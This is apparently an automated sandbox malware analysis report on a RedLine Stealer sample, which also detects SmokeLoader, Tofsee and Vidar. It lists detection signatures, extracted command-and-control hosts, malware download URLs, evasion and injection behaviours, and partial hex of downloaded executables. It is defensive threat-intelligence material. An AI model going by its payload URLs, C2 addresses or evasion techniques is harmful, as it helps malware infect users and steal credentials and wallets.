Windows Analysis Report cz2ZyeL2Zd.exe

Overview

General Information

Sample Name: cz2ZyeL2Zd.exe
Analysis ID: 549822
MD5: 246b41453b996bfa14f60d4785e598ac
SHA1: 977b7d8cc4237ca4c8a2268aedfff4d83c7d0a86
SHA256: 08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec
Tags: exeRedLineStealer
Infos:

Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected RedLine Stealer
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Detected unpacking (overwrites its own PE header)
Yara detected Vidar
Yara detected SmokeLoader
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for submitted file
Benign windows process drops PE files
Yara detected Vidar stealer
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Yara detected Tofsee
Sigma detected: Copying Sensitive Files with Credential Data
Maps a DLL or memory area into another process
Found evasive API chain (may stop execution after checking mutex)
PE file has a writeable .text section
Injects a PE file into a foreign processes
Found evasive API chain (may stop execution after checking locale)
Deletes itself after installation
Creates a thread in another existing process (thread injection)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Found many strings related to Crypto-Wallets (likely being stolen)
Checks if the current machine is a virtual machine (disk enumeration)
Sample uses process hollowing technique
.NET source code references suspicious native API functions
Changes security center settings (notifications, updates, antivirus, firewall)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
.NET source code contains method to dynamically call methods (often used by packers)
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Contains functionality to detect sleep reduction / modifications
Found evasive API chain (may stop execution after checking computer name)
Antivirus or Machine Learning detection for unpacked file
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Dropped file seen in connection with other malware
Found large amount of non-executed APIs
Connects to a URL shortener service
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Creates files inside the system directory
PE file contains sections with non-standard names
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Creates a DirectInput object (often for capturing keystrokes)
AV process strings found (often used to terminate AV products)
Extensive use of GetProcAddress (often used to hide API calls)
Detected TCP or UDP traffic on non-standard ports
Found evaded block containing many API calls
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://data-host-coin-8.com/files/9993_1641737702_2517.exe Avira URL Cloud: Label: malware
Source: http://185.7.214.171:8080/6.php URL Reputation: Label: malware
Source: http://data-host-coin-8.com/game.exe Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/2184_1641247228_8717.exe Avira URL Cloud: Label: malware
Source: http://unicupload.top/install5.exe URL Reputation: Label: phishing
Source: http://unic11m.top/install1.exe Avira URL Cloud: Label: malware
Source: parubey.info:443 Avira URL Cloud: Label: malware
Source: http://unicupload.top/install1.exe Avira URL Cloud: Label: malware
Source: http://privacytools-foryou-777.com/downloads/toolspab1.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\rljdetbq.exe Avira: detection malicious, Label: TR/Crypt.EPACK.Gen2
Found malware configuration
Source: 00000003.00000002.328560589.0000000000580000.00000004.00000001.sdmp Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://host-data-coin-11.com/", "http://file-coin-host-12.com/"]}
Source: 0000001F.00000002.473714109.00000000041E1000.00000004.00000001.sdmp Malware Configuration Extractor: RedLine {"C2 url": "86.107.197.138:38133"}
Source: 26.2.2B8.exe.47c0e50.1.raw.unpack Malware Configuration Extractor: Tofsee {"C2 list": ["pa:443", "parubey.info:443"]}
Source: 23.2.EC9F.exe.2d20e50.1.raw.unpack Malware Configuration Extractor: Vidar {"C2 url": "http://file-file-host4.com/tratata.php"}
Multi AV Scanner detection for submitted file
Source: cz2ZyeL2Zd.exe Virustotal: Detection: 33% Perma Link
Multi AV Scanner detection for domain / URL
Source: unicupload.top Virustotal: Detection: 15% Perma Link
Source: amogohuigotuli.at Virustotal: Detection: 12% Perma Link
Source: host-data-coin-11.com Virustotal: Detection: 15% Perma Link
Source: privacytools-foryou-777.com Virustotal: Detection: 9% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Metadefender: Detection: 42% Perma Link
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe ReversingLabs: Detection: 67%
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Metadefender: Detection: 37% Perma Link
Source: C:\Users\user\AppData\Local\Temp\5D68.exe ReversingLabs: Detection: 85%
Source: C:\Users\user\AppData\Local\Temp\8FB8.exe Metadefender: Detection: 14% Perma Link
Source: C:\Users\user\AppData\Local\Temp\8FB8.exe ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\AEFA.exe Metadefender: Detection: 48% Perma Link
Source: C:\Users\user\AppData\Local\Temp\AEFA.exe ReversingLabs: Detection: 96%
Source: C:\Users\user\AppData\Local\Temp\BFF4.exe Metadefender: Detection: 40% Perma Link
Source: C:\Users\user\AppData\Local\Temp\BFF4.exe ReversingLabs: Detection: 96%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AEFA.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BFF4.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\rljdetbq.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ecgujuh Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 3.0.cz2ZyeL2Zd.exe.400000.0.unpack Avira: Label: TR/Crypt.XPACK.Gen7
Source: 26.2.2B8.exe.47c0e50.1.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.cz2ZyeL2Zd.exe.400000.3.unpack Avira: Label: TR/Crypt.XPACK.Gen7
Source: 26.2.2B8.exe.400000.0.unpack Avira: Label: BDS/Backdoor.Gen
Source: 26.3.2B8.exe.47e0000.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.cz2ZyeL2Zd.exe.400000.2.unpack Avira: Label: TR/Crypt.XPACK.Gen7
Source: 23.3.EC9F.exe.2d50000.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 23.2.EC9F.exe.2d20e50.1.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.cz2ZyeL2Zd.exe.400000.1.unpack Avira: Label: TR/Crypt.XPACK.Gen7

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 23_2_00407470
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA, 23_2_00404830
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree, 23_2_00407510
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00407190 CryptUnprotectData, 23_2_00407190
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat, 23_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D276C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 23_2_02D276C0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D24A80 CryptStringToBinaryA,CryptStringToBinaryA, 23_2_02D24A80
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D279F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat, 23_2_02D279F0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D273E0 CryptUnprotectData, 23_2_02D273E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D27760 CryptUnprotectData,LocalAlloc,LocalFree, 23_2_02D27760

Compliance:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Unpacked PE file: 23.2.EC9F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Unpacked PE file: 26.2.2B8.exe.400000.0.unpack
Uses 32bit PE files
Source: cz2ZyeL2Zd.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Source: C:\Users\user\AppData\Local\Temp\5D68.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.3:49875 version: TLS 1.2
Source: unknown HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.3:49876 version: TLS 1.2
Source: Binary string: C:\hatisicovapehe\p.pdb source: 5D68.exe, 5D68.exe, 00000016.00000000.378270420.0000000000401000.00000020.00020000.sdmp, 5D68.exe, 00000016.00000002.398093706.0000000000409000.00000020.00020000.sdmp, 5D68.exe.13.dr, ecgujuh.13.dr
Source: Binary string: C:\kekerotepuci_tilid-75-saworeka23-tomadur\6 sedotajo58_fita.pdb source: D830.exe.13.dr
Source: Binary string: 9C:\pofecojuha\web\butasagit.pdb source: 2B8.exe.13.dr, rljdetbq.exe.26.dr
Source: Binary string: C:\hexijomopeg-vob49\facabuyezuvet.pdb source: 97B8.exe.13.dr
Source: Binary string: YC:\xexirujecutayo.pdb source: AEFA.exe.13.dr
Source: Binary string: C:\besunutigubili\tik.pdb source: cz2ZyeL2Zd.exe, icgujuh.13.dr
Source: Binary string: C:\pofecojuha\web\butasagit.pdb source: 2B8.exe.13.dr, rljdetbq.exe.26.dr
Source: Binary string: FC:\tiz_simor\83_tazagukodofixe87\jusilirow94.pdb source: BFF4.exe.13.dr
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: 8FB8.exe.13.dr
Source: Binary string: C:\liziza-care-hozutuwikovap_tivohatudid\xemiwani23\d.pdb source: EC9F.exe.13.dr
Source: Binary string: ^C:\kekerotepuci_tilid-75-saworeka23-tomadur\6 sedotajo58_fita.pdb source: D830.exe.13.dr
Source: Binary string: C:\tiz_simor\83_tazagukodofixe87\jusilirow94.pdb source: BFF4.exe.13.dr
Source: Binary string: C:\xexirujecutayo.pdb source: AEFA.exe.13.dr
Source: Binary string: %C:\liziza-care-hozutuwikovap_tivohatudid\xemiwani23\d.pdb source: EC9F.exe.13.dr
Source: Binary string: VC:\hatisicovapehe\p.pdb source: 5D68.exe, 00000016.00000000.378270420.0000000000401000.00000020.00020000.sdmp, 5D68.exe, 00000016.00000002.398093706.0000000000409000.00000020.00020000.sdmp, 5D68.exe.13.dr, ecgujuh.13.dr
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,GlobalAlloc,FindClose, 23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose, 23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_00409970
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D214D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_02D214D0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D212E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose, 23_2_02D212E0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D26090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D26090
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D28A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D28A30
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 23_2_02D29BC0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose, 23_2_02D29D90
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_02D29930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 23_2_02D29930

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2034813 ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern 192.168.2.3:49870 -> 65.108.180.72:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: bitly.com
Source: C:\Windows\explorer.exe Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe Domain query: unicupload.top
Source: C:\Windows\explorer.exe Domain query: srtuiyhuali.at
Source: C:\Windows\explorer.exe Network Connect: 185.233.81.115 187 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: fufuiloirtu.com
Source: C:\Windows\explorer.exe Domain query: amogohuigotuli.at
Source: C:\Windows\explorer.exe Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe Domain query: bit.ly
Source: C:\Windows\explorer.exe Network Connect: 185.186.142.166 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe Domain query: data-host-coin-8.com
Source: C:\Windows\explorer.exe Domain query: unic11m.top
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: pa:443
Source: Malware configuration extractor URLs: parubey.info:443
Source: Malware configuration extractor URLs: http://host-data-coin-11.com/
Source: Malware configuration extractor URLs: http://file-coin-host-12.com/
Source: Malware configuration extractor URLs: http://file-file-host4.com/tratata.php
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View JA3 fingerprint: 8916410db85077a5460817142dcbc8de
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:45 GMTContent-Type: application/x-msdos-programContent-Length: 358912Connection: closeLast-Modified: Mon, 03 Jan 2022 22:00:28 GMTETag: "57a00-5d4b4a60838eb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6b 91 a1 53 2f f0 cf 00 2f f0 cf 00 2f f0 cf 00 31 a2 5a 00 3d f0 cf 00 31 a2 4c 00 57 f0 cf 00 08 36 b4 00 2a f0 cf 00 2f f0 ce 00 ee f0 cf 00 31 a2 4b 00 10 f0 cf 00 31 a2 5b 00 2e f0 cf 00 31 a2 5e 00 2e f0 cf 00 52 69 63 68 2f f0 cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 f1 e5 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 3c 04 00 00 4a 02 00 00 00 00 00 c0 34 02 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 41 c1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 39 04 00 3c 00 00 00 00 30 06 00 f8 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 06 00 14 23 00 00 50 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a6 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 3a 04 00 00 10 00 00 00 3c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 60 9a 01 00 00 50 04 00 00 8c 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 61 6d 69 63 61 6b 05 00 00 00 00 f0 05 00 00 02 00 00 00 cc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 73 00 00 00 00 4b 00 00 00 00 00 06 00 00 02 00 00 00 ce 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 64 61 76 00 00 ea 00 00 00 00 10 06 00 00 02 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 75 67 69 72 6f 66 93 0d 00 00 00 20 06 00 00 0e 00 00 00 d2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 59 00 00 00 30 06 00 00 5a 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a2 3e 00 00 00 90 06 00 00 40 00 00 00 3a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:58 GMTContent-Type: application/x-msdos-programContent-Length: 330752Connection: closeLast-Modified: Sun, 09 Jan 2022 17:47:02 GMTETag: "50c00-5d529cebedc6a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 38 66 ce f5 7c 07 a0 a6 7c 07 a0 a6 7c 07 a0 a6 62 55 24 a6 57 07 a0 a6 62 55 35 a6 61 07 a0 a6 62 55 23 a6 fa 07 a0 a6 5b c1 db a6 79 07 a0 a6 7c 07 a1 a6 f7 07 a0 a6 62 55 2a a6 7d 07 a0 a6 62 55 34 a6 7d 07 a0 a6 62 55 31 a6 7d 07 a0 a6 52 69 63 68 7c 07 a0 a6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0d 51 4f 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0a 01 00 00 c2 77 02 00 00 00 00 af 1e 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 78 02 00 04 00 00 80 4d 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 95 03 00 3c 00 00 00 00 60 77 02 d0 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 21 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 8c 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f9 08 01 00 00 10 00 00 00 0a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 7e 02 00 00 20 01 00 00 80 02 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 bb 73 02 00 a0 03 00 00 86 00 00 00 8e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 f7 00 00 00 60 77 02 00 f8 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:42 GMTContent-Type: application/x-msdos-programContent-Length: 296448Connection: closeLast-Modified: Sun, 09 Jan 2022 17:48:01 GMTETag: "48600-5d529d245249e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 38 66 ce f5 7c 07 a0 a6 7c 07 a0 a6 7c 07 a0 a6 62 55 24 a6 57 07 a0 a6 62 55 35 a6 61 07 a0 a6 62 55 23 a6 fa 07 a0 a6 5b c1 db a6 79 07 a0 a6 7c 07 a1 a6 f7 07 a0 a6 62 55 2a a6 7d 07 a0 a6 62 55 34 a6 7d 07 a0 a6 62 55 31 a6 7d 07 a0 a6 52 69 63 68 7c 07 a0 a6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 4a 4f 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0a 01 00 00 3c 77 02 00 00 00 00 af 1e 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 77 02 00 04 00 00 a1 79 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 10 03 00 3c 00 00 00 00 e0 76 02 d0 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 21 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f9 08 01 00 00 10 00 00 00 0a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 